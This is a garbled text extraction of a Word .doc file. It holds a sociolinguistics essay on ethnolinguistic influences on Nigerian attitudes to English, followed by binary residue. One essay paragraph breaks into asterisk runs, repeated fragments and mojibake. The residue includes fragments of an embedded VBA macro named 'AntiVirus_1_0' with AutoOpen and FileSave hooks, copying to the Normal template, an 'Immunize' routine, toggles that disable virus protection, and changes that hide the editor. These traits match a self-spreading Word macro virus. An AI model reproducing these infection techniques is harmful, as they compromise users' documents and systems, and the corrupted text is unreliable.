ETHNOLINGUISTIC INFLUENCE ON THE ATTITUDE TOWARDS THE ENGLISH LANGUAGE IN NIGERIA – ASOCIOLINGUISTIC APPROACH BY ABDULLAHI M.S. IDIAGBON

ETHNOLINGUISTIC INFLUENCE ON THE ATTITUDE TOWARDS THE ENGLISH LANGUAGE IN NIGERIA – ASOCIOLINGUISTIC APPROACH



BY

ABDULLAHI M.S. IDIAGBON

Introduction

Nigeria is the creation of the British colonial expansion. The boundaries were mostly determined by colonial cartographers in order to eliminate friction and enhance administrative convenience rather than to satisfy or accommodate ethnic nationalities. Odumuh (1987) postulates that the various groupings, each with its own cultural and linguistic identity were never consulted before the creation of the nation state, Nigeria. In examining the Nigerians attitudes towards the English language, attempt is made to consider the link between a language and the combined factors of social identity, culture and individuality.

Evolution of English in Nigeria

The evolution of English language in Nigeria has been traced by Alabi (1994) to pre trans-Atlantic slave trade era, specifically in 1553 when some British were said to have paid what Alabi described as “very brief visits to the Nigerian coasts especially the ports of Benin and old Calabar”. The first obstacle confronted by the visitors was communication barrier between the natives and the English men. There was then a pressing need to dislodge this obstruction, hence, the need to teach the basic English for communication, business transaction, missionary activities and for other official functions.

At the initial stage, the medium of communication between the English men and the natives was English-based pidgin. Since the traders, missionaries and colonial administrators were not willing to learn the indigenous language(s), English had to be imposed and taught in order to train clerks, interpreters, stewards, messengers to help white men in administrative and domestic activities.

It is therefore evident that the cornerstone of the British introduction of the teaching of English language was not based on evolution of a “standard” English but on the emergence of a fairly communicative English. Therefore, right from the onset, there has been a basis for dialectal varieties in Nigeria spoken English.

Candidature of the English Language

Bamgbose (1987) observes that “the question whether there is a Nigerian English (as a variety of world Englishes) should at this point have become a non-issue,” given the need for its interactional and transactional roles in a multi-lingual context like Nigeria.

Lending weight to traces of ethnic markers in the spoken English of an average Nigerian, Bamgbose stresses that when two languages come into contact and one is performing an official role, such language will be influenced both culturally and linguistically in accordance with the reciprocal influence theory of language variation.

Thus, Nigerian English has come to stay as long as the official status of English in the Nigerian society is sustained. Many characteristic features of Nigerian dialectal forms of the English language exist at the syntactic, semantic, pragmatic and linguistic levels. Interestingly, these ethnic traits do not simply disappear just because a speaker is educated. This is because variation in English reveals more of cultural difference. The language, as it is now, has been ‘domesticated’ to reflect the general social context within which it functions.



Attitudes towards the English Language

Adegbija (1994) quoted Fitch and Hopper as defining language attitude simply as “the evaluative judgment about others’ speech patterns”. In other words, it is the evaluative judgment made about language (or its variety) and its speakers feared towards promoting, maintaining or planning of language, or even towards learning and teaching of language. He described attitudes as complex phenomena “which could be observable or internal, or both simultaneously, temporary or lasting, and of surface levels of deep-rooted nature”.

Nigerians’ attitude towards the status and use of the English language is ambivalent. This incompatibility in the attitude is due to the close affinity a language shares with the mind and culture. C****************************************************************************************************************************************************************************************************************************************************************tic activities.

It is therefore evident that the cornerstone of the British introduction of the teaching of English language was not based on evolution of a "standard" English but on the emergence of a fairly communicative English. Therefore, right from ****************************************************************************************************************************************************************************************************************************************************************s

se (1987) observes that “the question whether there is a Nigerian English (as a variety of world Englishes) should at this point䔠杮楬桳

English, apart from the role assigned to play, also becomes subservient to cultural milieu and its worldview. Variables like culture, worldview, among others, can affect the externalization or codification of thought(s) which a language conveys. Also, variables like religion, ideology, environment (where perhaps the speakers attend school), tribal chauvinism and its accent, considerably affect the production of sounds, use of expressions and choice of words. This is because according to Ofuokwu: (1990).

It is expected that members of an ethnic group seeking social and psycholinguistic distinctiveness (Giles, Bourhis and Tailor 1977) will invariably accentuate the ethnic markers in their speech by exhibiting remarkable speech divergence instead of “convergence”.

Since ethnic rivalry persists in Nigerian context, many ethnic groups think it is by speaking English marked by ethnosyncracies that their social identity can be safeguarded.

The speakers in this context can fit into what Odumuh categorized as ‘Educated Nigerian English’ in his typology of the Nigerian English. (Odmuh, 1998). Nigerians express very strong and positive feelings of loyalty for their indigenous languages because of their relevance to cultural and national identity. So every bit of ethnic manifestation is done sometimes deliberately and with pride. A cursory examination of ambivalent attitude towards the use of English in Nigeria can be simplified further by classifying the society into Micro and Macro societies. Micro includes federal institutions and academic environment while Macro comprises the larger societies, local or state based gatherings.

In the former, the speaking of the English language wins confidence, respect, dignity and aura of glorification for the speakers from the audience the degree of which got increased if it devoids ethnic markers. The latter represents the socio-political order and is characterized by divergent audience whose appetite for the use of English is based on socio-cultural canon. To this group, dialectal English is at par with the so-called standard English because, after all, English is principally needed for inter-personal communication, thus “nothing more, as Soyinka (1977) observes, “(other) than tool for convenience….”

Defining the vitality of ethnologuistic group, Ofuokwu quoted Giles et. al. (1979) as saying that it is “that which makes a group likely to behave as a distinctive and active collective entity in inter-grouping situations”. He further includes identity status, demography and institutional support as being supportive to ethnic vitality.

Precisely, of all the three major tribes in Nigeria, Hausa seems to be the least that attaches great importance or exerts pressure on itself in speaking British Standard English. This underscores the value attached to the duo factors of ethnicity and religion. The Hausa people do not only regard their language as a primus interpares among the Nigerian languages but also see the English language as a language of Christianity. The language is also often seen as a language of the foreigners who have come to subdue our cultural and religious institutions. More so, due to the fact that the tribe has featured or produced more political leaders in Nigeria than any other tribe, the speaking of Hausa dialectical English enjoins more recognition among many Hausa top government officials and some of their academics than other varieties. No serious attempt has been made to adopt the Received Pronunciation other than those meant for academic purpose. This variety is also favoured by the demographic strength, which ensures the highest numerical distribution of speakers throughout the country.

However, all the major tribes nurture different varieties and are mostly proud of them because of what “core values” have come to represent in socio-political system in Nigeria. Ndukwe defines core values as “those values that are regarded as forming the most fundamental components of a group culture”. These, according to him, are considered the representation of “the heartland of the ideological system” and they are symbolic of the group they represent.

In addition to the foregoing discussion on ethnic influence on the English language, the user’s communicative competence also has a role to play. The low level of education, exposure and inter-ethnic interaction also promotes the lackadaisical attitude of Nigerians towards attaining a standard form of Nigeria English.

Moreover, the few academic moves that have been made towards eradicating what is usually considered non-standard or dialectal English is often seen as shying away from a linguistic reality. Such perpetrators are, according to Alladina and Edwards (1991) “…guilty of under-estimating the potency of language (including the varieties) as a symbol of identity”.

In the Eastern part of the country, the influence of pidgin English is highly noticeable. Pidgin, for long, has been adopted as a language of inter-ethnic communication. As a result, the ‘freedom’ enjoyed in the speaking of pidgin is hereby transferred to the real English language already characterized by ethnic markers.

It should be noted that such ethnic influences are inevitable, and indeed necessary. What ethnicity and its concomitant variables tried to do is to domesticate English language for Nigerians’ convenient use.

It is also observed that the natives often reluctantly or/and cautiously use Standard English. This is because the natives perceive the so-called standard form as being too formalistic and totally foreign to the Nigerians. This ‘lack of respect’ syndrome is illustrative at the lexico-semantic level. For instance, in Yoruba, lexes like “Eyin” and “Won”, apart from being pluralistic can equally be used in singular sense to convey a referential tone in their semantic implication.

As a result of this complexity, speakers often to code-mixing. This tends to make the speakers feel at home without much attention paid to the grammatical formations.

One must equally recognised the influence of the mother tongue which serves as the pioneer language through which a child first learns to express his thoughts, feelings and experience. The English language, against this backdrop, is then viewed as not having enough expressive resources that can match any of the native languages. Since in Nigeria, mostly in Macro Society and sometimes in Micro Society (in the typologies earlier mentioned), speakers, in their daily interaction, make use of their first language. This practice has turned part and parcel of the natives who now consider it tasking to use a foreign expression called Standard English. In this regard, the English language is viewed contemptuously as a colonial stigma. Jowitt (1991) observes that most Nigerians often argue against the use of English as being a

“Language imported into Nigeria from Europe and therefore not the language in which Nigerians express their inner most thoughts…. English is an instrument of imperialism…. (and) should be replaced by an African language”.

Therefore, the best way out of this quagmire is a dialectal English which its native speakers can maneuver proverbs and idioms available, for example, in their tribal language to externalize their thoughts almost perfectly.

Dialectal English in Nigeria is also used to establish a form of informal conversational context. Speakers feel relaxed, original and natural while speaking it than when speaking rule-studded English.

One thing is however crystal clear that in spite of all the foregoing sentiments, the English language remains the only strong cord that binds Nigeria and Nigerians together irrespective of the country’s multi-cultural, multi-lingual and multi-ethnic differences. English has continued to function against all odds in various domains of life.

Characteristics of Dialectal English in Nigeria

As long as the human impulse to have a uniquely distinctive socio-cultural identity thrives, language will continue to be as diverse as those who speak it. It is these socio-cultural traits that sometimes turn to a source of worry for linguists as they seek legitimacy for such language.

Adegbija (1998) observes and gives a list of what he termed ‘problems’ arising in the use of the English language in Nigeria. In the context of this paper and the researcher’s view, they can be called the characteristics of Nigerian Dialectal English. Adegbija’s observation are summarised below. That such English

1. Could be generally intelligible but ungrammatical. For instance, can you please off the light

2. Could be meaningful in Nigerian context only. For instance small by small the small man becomes a big man.

3. Could be grammatical but adjudged hypercorrect thus rendering the statement socially unacceptable. For instance, in requesting, some might say: Would you please help me lift this load?”

4. Could be internationally unacceptable but locally intelligible. E.g How work?,

How now?.

5. Finally, it could be deviant according to native speaker norms but often unacceptable locally. For instance; “Sorry” (as an expression of sympathy for an incident not caused by the speaker)

Certain features in indigenous languages are being transferred directly into the

Nigerian English. This socio-linguistic variable considerably helps cement or consolidate

social interaction.

For instance, the forms of greeting like “Well done” and “Well seated” are commonly used. The concept of the former has been extended and made relevant to encompass certain situation not originally intended in the Standard English while the latter is a Nigerian coined lexis carried to be an English equivalent of the one in indigenous languages.

While the use of “well done” in Nigerian context is a form of greeting used as a casual greeting by a passer by for the workers on a job or who have satisfactorily completed a job, “well seated” is used to acknowledge the presence of those who are in sitting position as at the time the speaker is passing by. Usually “well seated” is used by the speaker to pay homage to those he meets sitting before he proceeds to ask for a favour.

Nigerians are fond of these greetings, according to Akere (1981) “because the English language does not possess linguistic markers for such non-occurring features, the Nigerian user of English substitutes the nearest equivalents in English for them”.

Similarly, average Nigerian speakers of the English use the expression “I am coming” in a peculiar context. Generally, Nigerians say “I am coming” when they are actually going. This is so, because such expression is available in the three major languages.

For instance Hausa says “Ina Zuwa”, Ibo “Anam abia” and Yoruba “Mo nbo (wa)”. Therefore, Nigerians found the English expression “I am coming” as a suitable and relevant equivalent, thus the cause of the direct translation from the mother tongue.

Let us consider the following common expressions in the Nigerian English and see how they are arrived at.



Nigerians common expressions and their Hausa Igbo and Yoruba geneses respectively

i. I want to give you a message (I have a message for you) = Zan ba da sako

ii. I want to enter taxi (I want to board a taxi) = Ina so in shiga mota

iii. I want to do marriage (I want to organize a marriage Ceremony) = Ina so in yi aure

(i) He has brain (He is intelligent/brilliant) = O nwere uburu

(ii) It is good the way you came now (it is good that you have come/it is good that you are present) = O di nma etu isiri bia ugbua

(iii) My stomach is paining me (I have a stomach upset) = Afo na ahim

(iv) My mother bought me market things (My mother bought me some things (items)from the market) = Nnem Zurulam ihe ahia



(i) I came down from the motor ( I alighted from the motor) = Mo so kale ninu oko naa.

(ii) Call me Jide (Call Jide for me) = Bami pe Jide

(iii) They are calling you (You are called) Won npe o.

Also co-existing with the ethnic–marked English language in Nigeria is the pidgin. In the pidgin, many ethnic markers are featured more easily at all its structural ‘levels, many a times direct indigenous lexes are used.

As earlier observed in this paper, the pride and importance attached with the English language-based pidgin is so great that even in the eastern part of the country, it is the pidgin or broken English and not the Igbo language that serves as the predominant language of communication. It even provides for them a regional lingua franca considering the diverse ethno-linguistic set-up of the region. It is also interesting that the Igbos as well as a good number of other-tribes (minor or major) use dialectal or ethnic marked English language not only at the grass root level but also in some formal events dominated by the speaker(s) tribe.

The degree of attachment demonstrated by both Igbo and Yoruba to the English language differs from that of Hausa-Fulani ethnic group. The patronage of English among the core-northerners is the least. Apart from the aforementioned sentiments on the ground, it is also the last region to have a taste of western education. On the Nigerian political scene, Hausa language is in the forefront among the indigenous languages contending for national or official status coupled with a long political dominance that lends more advantage to the socio-linguistic relevance attached to this language.

Conversely, in the western part of Nigeria, the use of Standard English is accorded utmost respect. Thus, it is evidently common to see interlocutors of the same Yoruba origin using English as a medium of communication whether in formal or informal situation. This does not however erase those ethnic traits known with Yoruba in their verbal discourse.

Conclusion

This paper has tried to launch a campaign against the discriminatory and Segregationist posture of the Standard Nigerian English in particular or the (British) Standard English in general against the dialectal varieties available in Nigeria. It advocates that in spite of the social dichotomy and accent bar inhibiting proper placement for the varieties of the Nigerian English they must be recognized as long as they are functional and socially relevant.

The complexity of studying Nigerian Standard English as a variety of the world Englishes is further exposed by the sub-varieties existing locally within the country. These regional varieties are relevant in the country’s socio- linguistic context and are relatively convenient in oral rendition than the so-called Nigerian Standard English. Not only should the recognition of these varieties be extended to socio-academic arena, efforts should also be made to lend political support to it so that consideration will be given to ethnic-based expressions used by students in examination. This, in addition, will also enrich our (Nigerians) literatures.



Bibliography

1. Adegbija, E. E. (1994) Language Attitudes in sub-Saharan Africa: A socio linguistic Overview. Clevedon Avon: Multilingual matters.

2. Adegbija (1998) “Nigerian English: Towards a Standard Variety”. A keynote address presented at the University of lllinois Urbana Champaign U. S A. on

5th - 7th November 1998.

3. Akere Funso (1981) “Socio-cultural Constraints and The Emergence of Standard Nigerian English in The Nigerian Language Teacher Lagos, National Language Center. Vol. 4 No 1.

4. Alabi, V.A. (1994) “English Language in Second LanguageContext” Olu Obafemi (ed). The English Language in Nigeria, Ibadan, Oluseyi Press.

5. Alladina Safder and Edwards Viv (1991) Multilingualism in the British Isles 2 Africa, the Middle East and Asia. London, Longman.

6. Bamgbose, Ayo (1982), “Standard Nigerian English - issue of identification”. The other Tongue” Urbana, University of Illinois Press.

7. Chumbow, Sammy (1990) “The Place of The Mother Tongue in the National Policy on Education” Emenanjo E.N. (ed) Multilingualism in Minority Languages and Language Policy in Nigeria. Central Books Limited.

8. Jowitt David (1991) Nigeria English Usage – An Introduction Ikeja Longman.

9. Littlewood William (1984) Foreign and Second Language Learning. New York Cambridge University Press

10. Odumuh, A. E. (1987) Nigerian English. Zaria ABU Press.

11. Odumuh, A. E. (1989) “The Co-existence of English and Nigerian Languages” in Ilorin Journal of Language and Literature, Department of Modern European Languages, University of Ilorin.

12. Ofuokwu, Dili (1990) “Socio-linguistic Variety and Language Planning: The Nigerian situation”. Emnanjo E.N. (ed) Multilingualism in Minority Languages and Language Policy in Nigeria. Central Books Limited.

13. Soyinka, Wole (1977) “Language As Boundary” in Language Education in Nigerian Vol. 1 Proceedings o

Normal

Normal

Heading 1

Heading 1

Heading 3

Heading 3

Heading 4

Heading 4

Heading 5

Heading 5

Default Paragraph Font

Default Paragraph Font

Body Text

Body Text

Body Text 2

Body Text 2

Body Text 3

Body Text 3

:倀X儀|儀ü儀<吀=吀=吀>吀A吀

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:



:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:

:



A:\M.S.A IDIAGBON.doc

A:\M.S.A IDIAGBON.doc

Ulysses R. Gotera

Ulysses R. Gotera

A:\M.S.A IDIAGBON.docÿĊ

A:\M.S.A IDIAGBON.docǿ



Project.AntiVirus_1_0.AutoExec

Project.AntiVirus_1_0.AutoExec

Project.AntiVirus_1_0.AutoOpen

Project.AntiVirus_1_0.AutoOpen

Project.AntiVirus_1_0.fileclose

Project.AntiVirus_1_0.fileclose

Project.AntiVirus_1_0.FileExit

Project.AntiVirus_1_0.FileExit

Project.AntiVirus_1_0.FileNew

Project.AntiVirus_1_0.FileNew

Project.AntiVirus_1_0.FileOpen

Project.AntiVirus_1_0.FileOpen

Project.AntiVirus_1_0.filesave

Project.AntiVirus_1_0.filesave

Project.AntiVirus_1_0.FileSaveAs

Project.AntiVirus_1_0.FileSaveAs

Project.AntiVirus_1_0.Immunize

Project.AntiVirus_1_0.Immunize

Project.AntiVirus_1_0.Initialize

Project.AntiVirus_1_0.Initialize

PROJECT.ANTIVIRUS_1_0.FILENEW

PROJECT.ANTIVIRUS_1_0.FILENEW

PROJECT.ANTIVIRUS_1_0.AUTOEXEC

PROJECT.ANTIVIRUS_1_0.AUTOEXEC

PROJECT.ANTIVIRUS_1_0.AUTOOPEN

PROJECT.ANTIVIRUS_1_0.AUTOOPEN

PROJECT.ANTIVIRUS_1_0.FILEEXIT

PROJECT.ANTIVIRUS_1_0.FILEEXIT

PROJECT.ANTIVIRUS_1_0.FILEOPEN

PROJECT.ANTIVIRUS_1_0.FILEOPEN

PROJECT.ANTIVIRUS_1_0.FILESAVE

PROJECT.ANTIVIRUS_1_0.FILESAVE

PROJECT.ANTIVIRUS_1_0.IMMUNIZE

PROJECT.ANTIVIRUS_1_0.IMMUNIZE

PROJECT.ANTIVIRUS_1_0.FILECLOSE

PROJECT.ANTIVIRUS_1_0.FILECLOSE

PROJECT.ANTIVIRUS_1_0.FILESAVEAS

PROJECT.ANTIVIRUS_1_0.FILESAVEAS

PROJECT.ANTIVIRUS_1_0.INITIALIZE

PROJECT.ANTIVIRUS_1_0.INITIALIZE

Times New Roman

Times New Roman

Symbol

Symbol

Tahoma

Tahoma

mETHNOLINGUISTIC INFLUENCE ON THE ATTITUDE TOWARDS THE ENGLISH LANGUAGE IN NIGERIA

mETHNOLINGUISTIC INFLUENCE ON THE ATTITUDE TOWARDS THE ENGLISH LANGUAGE IN NIGERIA – ASOCIOLINGUISTIC APPROACH

Ulysses R. Gotera

Ulysses R. Gotera

ETHNOLINGUISTIC INFLUENCE ON THE ATTITUDE TOWARDS THE ENGLISH LANGUAGE IN NIGERIA – ASOCIOLINGUISTIC APPROACH

Normal.dot

Ulysses R. Gotera

Microsoft Word 8.0

ETHNOLINGUISTIC INFLUENCE ON THE ATTITUDE TOWARDS THE ENGLISH LANGUAGE IN NIGERIA – ASOCIOLINGUISTIC APPROACH

_PID_GUID

{BF5CD561-904E-11D7-95EB-88A83B687E3C}

{BF5CD561-904E-11D7-95EB-88A83B687E3C}

Root Entry

1Table

1Table

WordDocument

WordDocument

SummaryInformation

SummaryInformation

DocumentSummaryInformation

DocumentSummaryInformation

Macros

Macros

ThisDocument

ThisDocument

(1Normal.ThisDocumentz㸄

"*\Rffff*33ed2e878য়

*\Rffff*33ed2e878ßऀ

Attribut

e VB_Nam

e = "Thi

sDocumen

1Normal

VCreata

`False

Predecl

xTru

"Expose

Template Deriv

$CuÀstomiz

*\G{000204EF-0000-0000-C000-000000000046}#3.0#__SRP_2

__SRP_3

__SRP_3

AntiVirus_1_0

AntiVirus_1_0

_VBA_PROJECT

_VBA_PROJECT

Ulysses R. Gotera

FoxChit SOFTWARE SOLUTIONS9

nÿ￀Āù h˭¯йjȀ¯9lȀ¯9nȀnÿﾘĀù J˭¯9pȀnÿﾀĀù®

Visual Basic$

Customize...7

Attribut

e VB_Nam

e = "Ant

iVirus_1

_0"



' -

Compan

y: FoxCh

it SOFTW

or: Ulys

ses R. G otera

March 30€, 1999

3Revisio@ns: <>$N

): This

macro re

origina

l toolba

rs and i@mmuniz

r files

Error R

$, 0Open

= FaXlse

NormalT

empl€j.VB€Project@

onents.

Count To

1 Step

@~en K4TruK

!<>MÊ)ô A@

_

A€pplicatÀ

.OrgaÁ–rD8ele

So@urce:=

WF(ullA> 

Oba3p:=wd¦

)A@Eaàro

Odoðc Inâ0¡ ˆ

nSÁ.JWith „

q= ‹Mh ŸNp8

Ref@erence

çãL2W„

YX

U

4

AR"Copy

x,1xDÀÒ Ña„:=-)

2

Actiìve‘>1H.e(+

DisðxyAl

ertsðSwd£

Word@Basic.

aHble°˜oMÑ‘s{µyr

ogs(wd

*SummaràyInfoP•& £§‡Ÿ

nfirmCopnverâ«À ›c.{»€ztà•

dOnlyRecÄom 5ded/

Ÿmp´Bð´(`"Visu

TypàeMenu

trols("r14")Ð

CuÅðÄm0:...j

Find@%(Bu„il

F11, w1

Alt)).Cl¸ear‚

H|



ÌFBΐ^¯F¨F ðCall

uI

DTð±Àm.ShowS

ion.Quit

End Su

eNew()





On Error

Resume (Nex

ll Initi€alize





(Pmmun

>o`gs(wd

)`.Show

5

‹A€utoOpen

TExec

?

+

mSaveA

s?,¦

------------------------------------------------------------------------------------

Company: FoxChit SOFTWARE SOLUTIONSÿÿÿÿ

Author: Ulysses R. GoteraØ

Date Created: March 30, 1999 Date Revisions: <>

Note: This macro restores the original toolbars and immunizes other filesØ

------------------------------------------------------------------------------------

¯'*Ȁ÷ &˶ ,

.

0

2

AntiVirus_1_0

AntiVirus_1_0

ThisDocument

¯'$Ȁù >˭÷ (˶ >ȡ.ȡ0ȡ2ʤ

AntiVirus_1_0

AntiVirus_1_0

ThisDocument

Reference to Normal

AntiVirus_1_0

AntiVirus_1_0

Ulysses R. Gotera

FoxChit SOFTWARE SOLUTIONS9

9#C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLL#Visual Basic For Applications

*\G{00020905-0000-0000-C000-000000000046}#8.0#409#C:\Program Files\Microsoft Office\Office\MSWORD8.OLB#Microsoft Word 8.0 Object Library

¸*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB#OLE Automation

¸*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB#OLE Automation

à*\G{F52316E0-97E9-11D6-95EB-88A83B687E3C}#2.0#0#C:\WINDOWS\SYSTEM\MSForms.TWD#Microsoft Forms 2.0 Object Library

à*\G{F52316E0-97E9-11D6-95EB-88A83B687E3C}#2.0#0#C:\WINDOWS\SYSTEM\MSForms.TWD#Microsoft Forms 2.0 Object Library

ä*\G{F52316E3-97E9-11D6-95EB-88A83B687E3C}#2.0#0#C:\WINDOWS\TEMP\VBE\MSForms.EXD#Microsoft Forms 2.0 Object Library

ä*\G{F52316E3-97E9-11D6-95EB-88A83B687E3C}#2.0#0#C:\WINDOWS\TEMP\VBE\MSForms.EXD#Microsoft Forms 2.0 Object Library

*\CNormal

*\CNormal

*\CNormal±㆏㴃

*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.0#0#C:\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\MSO97.DLL#Microsoft Office 8.0 Object Library

ThisDocument

3㍥搲攸㜸

ThisDocument

㌳摥攲㜸8

Ò̀ÿ：AntiVirus_1_0

4㍥搲攸㝡

AntiVirus_1_0

㌴摥攲㜸a

M.S.A IDIAGBON@

stdole

`

MSFormsC

ThisDocument<ž _Evaluate Normal Office Project-® DocumentjÓ Module1b AntiVirus_1_0/ˆ Immunize DocuNamepƒ OpenDocImmunized NmImmunizedøÊ NormalTemplateq¬ VBProjectOh VBComponents ' Count0v Application¥* OrganizerDeleteÌ! SourceG¶ FullNameО wdOrganizerObjectProjectItemsá® opendoc² Documents¼ OrganizerCopy¿ú Destinationл SaveAsf; FileNamejà ActiveDocumentÓ\ InitializeÓN DisplayAlertsôö wdAlertsAll©Ñ WordBasicñ’ DisableAutoMacros UserName\æ UserAddressFà UserInitialsMÓ DialogsŠ wdDialogFileSummaryInfo¦º Author Keywords ExecuteYÍ Options§ ConfirmConversions VirusProtectionoD SaveNormalPromptʼ ReadOnlyRecommendedíŸ CommandBars EnabledÛ Protection msoBarTypeMenuBarÛ¢ msoBarMenuBar£K ControlsÌK FindKeyÂo BuildKeyCodeïp wdKeyF11Œß wdKeyAltÙÈ wdKeyF8µ CustomizationContext΀ filesave fileclose¸_ Savedd FileExit™J FoxChitForm´ FileNew‘! wdDialogFileNew÷H AutoOpenÙ* AutoExecìœ FileSaveAsÎî wdDialogFileSaveAs¡N FileOpen Ø wdDialogFileOpen‡‡ Project \G{00020°430- 0046}# 2.0#0#C: \WINDOWS \SYSTEM\ STDOLE2. __SRP_0 __SRP_0 __SRP_1 __SRP_1 PROJECTwm PROJECTwm tomation mMSFo@rms>

FF52316

E0-97E9-

11D6-95E

B-88A83BÀ687E3C

.TWD#Mic€rosoft

LÀibrary

3,P€JP\VBE

CxN©@UalCxN„TaÀx¨

OfficD

O@†`f

G{2DF8D

04C-5BFA

-101B-BD¤E5@‰AA@ˆ4À

fPROGRA

M FILES\

MICROSOF

T OFFICE

MSO97.

DLLHkƒ# 8.Š0’k

Document"

AntiVir€us_1_0

*\CNormalrU€

M.S.A IDIAGBON

ThisDocument

Project

C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLL

C:\Program Files\Microsoft Office\Office\MSWORD8.OLB

C:\WINDOWS\SYSTEM\STDOLE2.TLB

stdole

Document

C:\WINDOWS\SYSTEM\MSForms.TWD

MSForms



C:\WINDOWS\TEMP\VBE\MSForms.EXD



C:\PROGRAM FILES\MICROSOFT OFFICE\OFFICE\MSO97.DLL

Office



Module1

AntiVirus_1_0s

ThisDocument

tThisDocument

AntiVirus_1_0

0AntiVirus_1_0

ID="{BF5CD56A-904E-11D7-95EB-88A83B687E3C}"



Document=ThisDocument/&H00000000



Module=AntiVirus_1_0



Name="Project"



HelpContextID="0"



CMG="EDEFE3103DF941F941F941F941"



DPB="DAD8D40BC00CC00CCP

PROJECT

CompObj

CompObj

0"



GC="C7C5C93E5BC649C749C7B6"







[Host Extender Info]



&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000







[Workspace]



ThisDocument=0, 0, 0, 0, C



AntiVirus_1_0=0, 0, 0, 0, C





Microsoft Word Document

MSWordDoc

Word.Document.8